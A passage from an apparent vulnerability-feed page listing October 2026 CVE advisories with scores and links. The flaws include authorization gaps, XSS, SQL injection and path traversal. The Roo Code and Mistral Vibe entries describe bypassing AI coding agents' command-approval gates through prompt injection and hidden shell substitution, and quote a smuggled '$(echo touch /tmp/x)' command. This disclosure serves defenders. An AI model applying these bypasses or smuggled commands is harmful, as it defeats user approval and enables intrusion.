Leantime is an open source project management system. Prior to 3.10.0, for the provisionally grouped account-creation and plugin-management surfaces, Leantime's JSON-RPC dispatcher in app/Domain/Api/Controllers/Jsonrpc.php exposes public API service methods, while PermissionEnforcer::enforce allows methods that lack a RequiresPermission attribute. A low-privilege authenticated user with an ordinary browser session can send the required X-Requested-With: XMLHttpRequest header and call leantime.rpc.api.api.createApiKeyWithProjects, which reaches Api::createApiKeyWithProjects, with an attacker-chosen role to create an interactive administrator account. The same missing per-method authorization exposes Plugins::installPlugin, Plugins::enablePlugin, Plugins::disablePlugin, and Plugins::removePlugin to ordinary authenticated users, permitting unauthorized plugin management. The complete provisionally grouped issue is fixed in version 3.10.0.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85990).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85990&date=2026-10-25).
Sources:
NVD CVE-2026-85990: https://nvd.nist.gov/vuln/detail/CVE-2026-85990
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85990&date=2026-10-25
Leantime is an open source project management system. Prior to 3.10.0, for the provisionally grouped account-creation and plugin-management surfaces, Leantime's JSON-RPC dispatcher in app/Domain/Api/Controllers/Jsonrpc.php exposes public API service methods, while PermissionEnforcer::enforce allows methods that lack a RequiresPermission attribute. A low-privilege authenticated user with an ordinary browser session can send the required X-Requested-With: XMLHttpRequest header and call leantime.rpc.api.api.createApiKeyWithProjects, which reaches Api::createApiKeyWithProjects, with an attacker-chosen role to create an interactive administrator account. The same missing per-method authorization exposes Plugins::installPlugin, Plugins::enablePlugin, Plugins::disablePlugin, and Plugins::removePlugin to ordinary authenticated users, permitting unauthorized plugin management. The complete provisionally grouped issue is fixed in version 3.10.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cronicle is a multi-server task scheduler and runner, with a web based front-end UI.
https://kevwire.com/record/CVE-2026-55562
Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. (Oct 13, 2026).
Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.119, the administrator Activity Log in htdocs/js/pages/admin/Activity.js concatenates the attacker-controlled item.user.full_name value into HTML without applying encode_entities and inserts the result through this.div.html. The bundled pixl-server-user input filter can be bypassed by a tag containing a line break because its regular expression does not match newlines. An authenticated non-administrator can update the attacker's own name through /api/user/update using a valid session and current password; when free_accounts is enabled, an anonymous attacker can instead plant the name during self-registration. The stored name executes script in an administrator's session when the Activity Log is opened, enabling administrator takeover and subsequent command execution through privileged Cronicle features. This issue is fixed in version 0.9.119.
CVSS 9.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55562).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55562&date=2026-10-25).
Sources:
NVD CVE-2026-55562: https://nvd.nist.gov/vuln/detail/CVE-2026-55562
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55562&date=2026-10-25
Cronicle is a multi-server task scheduler and runner, with a web based front-end UI. Prior to 0.9.119, the administrator Activity Log in htdocs/js/pages/admin/Activity.js concatenates the attacker-controlled item.user.full_name value into HTML without applying encode_entities and inserts the result through this.div.html. The bundled pixl-server-user input filter can be bypassed by a tag containing a line break because its regular expression does not match newlines. An authenticated non-administrator can update the attacker's own name through /api/user/update using a valid session and current password; when free_accounts is enabled, an anonymous attacker can instead plant the name during self-registration. The stored name executes script in an administrator's session when the Activity Log is opened, enabling administrator takeover and subsequent command execution through privileged Cronicle features. This issue is fixed in version 0.9.119.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows any authenticated user to enable or disable accounts because the updateUserStatus handler...
https://kevwire.com/record/CVE-2026-110216
youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows any authenticated user to enable or disable accounts because the updateUserStatus handler... (Oct 13, 2026).
youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows any authenticated user to enable or disable accounts because the updateUserStatus handler lacks a @PreAuthorize check. Attackers can send PATCH requests to /api/v1/users/{userId}/status to disable root or admin accounts, locking administrators out, or re-enable accounts an administrator has disabled.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110216).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110216&date=2026-10-25).
Sources:
NVD CVE-2026-110216: https://nvd.nist.gov/vuln/detail/CVE-2026-110216
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110216&date=2026-10-25
youlai-boot through 2.21.1 contains a missing authorization vulnerability that allows any authenticated user to enable or disable accounts because the updateUserStatus handler lacks a @PreAuthorize check. Attackers can send PATCH requests to /api/v1/users/{userId}/status to disable root or admin accounts, locking administrators out, or re-enable accounts an administrator has disabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### iFlytek SkillHub through 0.2.22 contains a missing authorization vulnerability that allows any authenticated user to permanently delete other users' skills via DELETE...
https://kevwire.com/record/CVE-2026-110211
iFlytek SkillHub through 0.2.22 contains a missing authorization vulnerability that allows any authenticated user to permanently delete other users' skills via DELETE... (Oct 13, 2026).
iFlytek SkillHub through 0.2.22 contains a missing authorization vulnerability that allows any authenticated user to permanently delete other users' skills via DELETE /api/cli/v1/skills/{namespace}/{slug}. Attackers can locate targets through the anonymous search endpoint and trigger deletion without ownership checks, purging all versions, files, reviews, ratings and metadata.
CVSS 7.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110211).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110211&date=2026-10-25).
Sources:
NVD CVE-2026-110211: https://nvd.nist.gov/vuln/detail/CVE-2026-110211
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110211&date=2026-10-25
iFlytek SkillHub through 0.2.22 contains a missing authorization vulnerability that allows any authenticated user to permanently delete other users' skills via DELETE /api/cli/v1/skills/{namespace}/{slug}. Attackers can locate targets through the anonymous search endpoint and trigger deletion without ownership checks, purging all versions, files, reviews, ratings and metadata.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that allows attackers to auto-approve arbitrary shell commands by placing a command...
https://kevwire.com/record/CVE-2026-110206
Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that allows attackers to auto-approve arbitrary shell commands by placing a command... (Oct 13, 2026).
Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that allows attackers to auto-approve arbitrary shell commands by placing a command substitution in command position. Attackers using indirect prompt injection can submit commands like $(echo touch /tmp/x) that pass the echo allowlist check, causing the shell to execute the output without user approval.
CVSS 7.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110206).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110206&date=2026-10-25).
Sources:
NVD CVE-2026-110206: https://nvd.nist.gov/vuln/detail/CVE-2026-110206
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110206&date=2026-10-25
Roo Code through 3.54.0 contains a command approval bypass vulnerability in parseCommandLine() that allows attackers to auto-approve arbitrary shell commands by placing a command substitution in command position. Attackers using indirect prompt injection can submit commands like $(echo touch /tmp/x) that pass the echo allowlist check, causing the shell to execute the output without user approval.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### fuint through commit 4c4bc8a contains a missing authentication vulnerability that allows unauthenticated attackers to retrieve any member's order details via the...
https://kevwire.com/record/CVE-2026-110128
fuint through commit 4c4bc8a contains a missing authentication vulnerability that allows unauthenticated attackers to retrieve any member's order details via the... (Oct 13, 2026).
fuint through commit 4c4bc8a contains a missing authentication vulnerability that allows unauthenticated attackers to retrieve any member's order details via the /clientApi/order/detail endpoint. Attackers can enumerate sequential orderId values without an Access-Token to expose buyer names, national ID numbers, phone numbers, addresses, WeChat openIds and verification codes.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110128).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110128&date=2026-10-25).
Sources:
NVD CVE-2026-110128: https://nvd.nist.gov/vuln/detail/CVE-2026-110128
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110128&date=2026-10-25
fuint through commit 4c4bc8a contains a missing authentication vulnerability that allows unauthenticated attackers to retrieve any member's order details via the /clientApi/order/detail endpoint. Attackers can enumerate sequential orderId values without an Access-Token to expose buyer names, national ID numbers, phone numbers, addresses, WeChat openIds and verification codes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Makunet maku-boot 4.3.0 through 5.0.0 contains a missing authorization vulnerability that allows authenticated users to read mail and SMS configurations by calling...
https://kevwire.com/record/CVE-2026-110123
Makunet maku-boot 4.3.0 through 5.0.0 contains a missing authorization vulnerability that allows authenticated users to read mail and SMS configurations by calling... (Oct 13, 2026).
Makunet maku-boot 4.3.0 through 5.0.0 contains a missing authorization vulnerability that allows authenticated users to read mail and SMS configurations by calling /sys/mail/config/list and /sys/sms/config/list without the required authority checks. Attackers can retrieve unmasked SMTP passwords and Aliyun, Tencent Cloud, Qiniu or Huawei Cloud access keys, and abuse /sys/mail/config/send to send mail to arbitrary recipients.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110123).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110123&date=2026-10-25).
Sources:
NVD CVE-2026-110123: https://nvd.nist.gov/vuln/detail/CVE-2026-110123
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110123&date=2026-10-25
Makunet maku-boot 4.3.0 through 5.0.0 contains a missing authorization vulnerability that allows authenticated users to read mail and SMS configurations by calling /sys/mail/config/list and /sys/sms/config/list without the required authority checks. Attackers can retrieve unmasked SMTP passwords and Aliyun, Tencent Cloud, Qiniu or Huawei Cloud access keys, and abuse /sys/mail/config/send to send mail to arbitrary recipients.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WorkFlow-Engine through 9.6.11 contains a missing authorization vulnerability that allows authenticated users to complete or reassign other users' workflow tasks via...
https://kevwire.com/record/CVE-2026-110118
WorkFlow-Engine through 9.6.11 contains a missing authorization vulnerability that allows authenticated users to complete or reassign other users' workflow tasks via... (Oct 13, 2026).
WorkFlow-Engine through 9.6.11 contains a missing authorization vulnerability that allows authenticated users to complete or reassign other users' workflow tasks via /vue/buttonOperation endpoints. Low-privileged attackers can supply a known taskId to the complete, completeTask or reAssign handlers to approve tasks or reassign them without authority.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110118).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110118&date=2026-10-25).
Sources:
NVD CVE-2026-110118: https://nvd.nist.gov/vuln/detail/CVE-2026-110118
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110118&date=2026-10-25
WorkFlow-Engine through 9.6.11 contains a missing authorization vulnerability that allows authenticated users to complete or reassign other users' workflow tasks via /vue/buttonOperation endpoints. Low-privileged attackers can supply a known taskId to the complete, completeTask or reAssign handlers to approve tasks or reassign them without authority.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in SourceCodester Online Exam System 1.0. Affected is an unknown function of the file adminpanel/admin/query/loginExe.php of the component Login Endpoint.
https://kevwire.com/record/CVE-2026-109607
A flaw has been found in SourceCodester Online Exam System 1.0. Affected is an unknown function of the file adminpanel/admin/query/loginExe.php of the component Login Endpoint. (Oct 13, 2026).
A flaw has been found in SourceCodester Online Exam System 1.0. Affected is an unknown function of the file adminpanel/admin/query/loginExe.php of the component Login Endpoint. This manipulation of the argument username/pass causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used.
CVSS 5.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109607).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109607&date=2026-10-25).
Sources:
NVD CVE-2026-109607: https://nvd.nist.gov/vuln/detail/CVE-2026-109607
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109607&date=2026-10-25
A flaw has been found in SourceCodester Online Exam System 1.0. Affected is an unknown function of the file adminpanel/admin/query/loginExe.php of the component Login Endpoint. This manipulation of the argument username/pass causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mistral Vibe before 2.25.4 contains a command permission gate bypass vulnerability that allows attackers to execute arbitrary commands by hiding a command substitution inside a...
https://kevwire.com/record/CVE-2026-109429
Mistral Vibe before 2.25.4 contains a command permission gate bypass vulnerability that allows attackers to execute arbitrary commands by hiding a command substitution inside a... (Oct 13, 2026).
Mistral Vibe before 2.25.4 contains a command permission gate bypass vulnerability that allows attackers to execute arbitrary commands by hiding a command substitution inside a single-quoted variable value that tree-sitter-bash static parsing cannot detect. Attackers can craft input such as embedding a command substitution within a single-quoted variable and re-expanding it with the ${var@P} prompt-transform operator so bash's promptvars feature executes the hidden command at runtime while only the trailing allowlisted command is classified, resulting in silent arbitrary command execution with the privileges of the agent's terminal session.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109429).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109429&date=2026-10-25).
Sources:
NVD CVE-2026-109429: https://nvd.nist.gov/vuln/detail/CVE-2026-109429
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109429&date=2026-10-25
Mistral Vibe before 2.25.4 contains a command permission gate bypass vulnerability that allows attackers to execute arbitrary commands by hiding a command substitution inside a single-quoted variable value that tree-sitter-bash static parsing cannot detect. Attackers can craft input such as embedding a command substitution within a single-quoted variable and re-expanding it with the ${var@P} prompt-transform operator so bash's promptvars feature executes the hidden command at runtime while only the trailing allowlisted command is classified, resulting in silent arbitrary command execution with the privileges of the agent's terminal session.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108381
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.44.0 through 0.70.5, the Pydantic and AvroDantic model generators insert a schema field's pydantic-class value after pydantic. in a generated field annotation without safely restricting the expression. Because annotations are evaluated when the generated module is imported, a crafted value can execute arbitrary Python code. Version 0.70.6 fixes the vulnerability by restricting the value to a bare name or a call to a bare name with literal arguments.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108381).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108381&date=2026-10-25).
Sources:
NVD CVE-2026-108381: https://nvd.nist.gov/vuln/detail/CVE-2026-108381
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108381&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.44.0 through 0.70.5, the Pydantic and AvroDantic model generators insert a schema field's pydantic-class value after pydantic. in a generated field annotation without safely restricting the expression. Because annotations are evaluated when the generated module is imported, a crafted value can execute arbitrary Python code. Version 0.70.6 fixes the vulnerability by restricting the value to a bare name or a call to a bare name with literal arguments.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108376
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.47.3 through 0.70.5, FieldRepresentation.get_field_default inserts a schema-controlled referenced record name into the callable position of a generated default_factory lambda without validating it as an Avro name. A crafted record name can become an arbitrary Python expression that executes when an instance of the generated model consumes the field default. Version 0.70.6 fixes the vulnerability by rejecting record names that do not match the Avro name grammar.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108376).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108376&date=2026-10-25).
Sources:
NVD CVE-2026-108376: https://nvd.nist.gov/vuln/detail/CVE-2026-108376
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108376&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.47.3 through 0.70.5, FieldRepresentation.get_field_default inserts a schema-controlled referenced record name into the callable position of a generated default_factory lambda without validating it as an Avro name. A crafted record name can become an arbitrary Python expression that executes when an instance of the generated model consumes the field default. Version 0.70.6 fixes the vulnerability by rejecting record names that do not match the Avro name grammar.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields.
https://kevwire.com/record/CVE-2026-100133
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. (Oct 13, 2026).
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.
CVSS 9.3 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100133).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100133&date=2026-10-25).
Sources:
NVD CVE-2026-100133: https://nvd.nist.gov/vuln/detail/CVE-2026-100133
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100133&date=2026-10-25
Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Arcane is an interface for managing Docker containers, images, networks, and volumes.
https://kevwire.com/record/CVE-2026-96626
Arcane is an interface for managing Docker containers, images, networks, and volumes. (Oct 16, 2026).
Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.5.0, UpdateRegistry and TestRegistry in backend/api/services/container_registry_service.go allow the registry URL to change while preserving the stored encrypted token. When a holder of registries:update and registries:test repoints a generic registry URL without supplying a replacement token, TestRegistry decrypts the preserved token and RegistryLogin sends it to the attacker-controlled host because normalizeRegistryServerAddressInternal does not restrict the destination. This exposes the stored container-registry PAT or password and can enable image access or tampering. This issue is fixed in version 2.5.0.
CVSS 8.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96626).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96626&date=2026-10-25).
Sources:
NVD CVE-2026-96626: https://nvd.nist.gov/vuln/detail/CVE-2026-96626
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96626&date=2026-10-25
Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.5.0, UpdateRegistry and TestRegistry in backend/api/services/container_registry_service.go allow the registry URL to change while preserving the stored encrypted token. When a holder of registries:update and registries:test repoints a generic registry URL without supplying a replacement token, TestRegistry decrypts the preserved token and RegistryLogin sends it to the attacker-controlled host because normalizeRegistryServerAddressInternal does not restrict the destination. This exposes the stored container-registry PAT or password and can enable image access or tampering. This issue is fixed in version 2.5.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in .NET Client Library for SIMATIC S7 Webserver API (All versions < V3.3.61). Affected applications do not properly validate filenames received...
https://kevwire.com/record/CVE-2026-85114
A vulnerability has been identified in .NET Client Library for SIMATIC S7 Webserver API (All versions < V3.3.61). Affected applications do not properly validate filenames received... (Oct 13, 2026).
A vulnerability has been identified in .NET Client Library for SIMATIC S7 Webserver API (All versions < V3.3.61). Affected applications do not properly validate filenames received from remote servers during ticket downloads.

This could allow an attacker who can manipulate the ticket response to write arbitrary files outside the intended download directory and, when overwriting is enabled, replace existing files accessible to the application.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85114).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85114&date=2026-10-25).
Sources:
NVD CVE-2026-85114: https://nvd.nist.gov/vuln/detail/CVE-2026-85114
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85114&date=2026-10-25
A vulnerability has been identified in .NET Client Library for SIMATIC S7 Webserver API (All versions < V3.3.61). Affected applications do not properly validate filenames received from remote servers during ticket downloads.

This could allow an attacker who can manipulate the ticket response to write arbitrary files outside the intended download directory and, when overwriting is enabled, replace existing files accessible to the application.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh versions from 3.9.0 before 4.14.8 contain an arbitrary file overwrite vulnerability in MasterHandler.process_files_from_worker allowing a cluster worker to overwrite...
https://kevwire.com/record/CVE-2026-74040
Wazuh versions from 3.9.0 before 4.14.8 contain an arbitrary file overwrite vulnerability in MasterHandler.process_files_from_worker allowing a cluster worker to overwrite... (Oct 13, 2026).
Wazuh versions from 3.9.0 before 4.14.8 contain an arbitrary file overwrite vulnerability in MasterHandler.process_files_from_worker allowing a cluster worker to overwrite protected master files. Attackers controlling a worker can use a trailing-slash basename bypass and missing extra_valid enforcement to overwrite ossec.conf and agent.conf, achieving root remote code execution across the manager and every agent.
CVSS 9.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74040).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74040&date=2026-10-25).
Sources:
NVD CVE-2026-74040: https://nvd.nist.gov/vuln/detail/CVE-2026-74040
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74040&date=2026-10-25
Wazuh versions from 3.9.0 before 4.14.8 contain an arbitrary file overwrite vulnerability in MasterHandler.process_files_from_worker allowing a cluster worker to overwrite protected master files. Attackers controlling a worker can use a trailing-slash basename bypass and missing extra_valid enforcement to overwrite ossec.conf and agent.conf, achieving root remote code execution across the manager and every agent.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the get_lists() and delete_list_file() CDB list handlers that allows compromised cluster workers to read...
https://kevwire.com/record/CVE-2026-74033
Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the get_lists() and delete_list_file() CDB list handlers that allows compromised cluster workers to read... (Oct 13, 2026).
Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the get_lists() and delete_list_file() CDB list handlers that allows compromised cluster workers to read or delete master files. Attackers can send traversal or absolute-path filenames through the internal cluster RPC path, bypassing REST validation and RBAC to delete files like rbac.db.
CVSS 8.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74033).
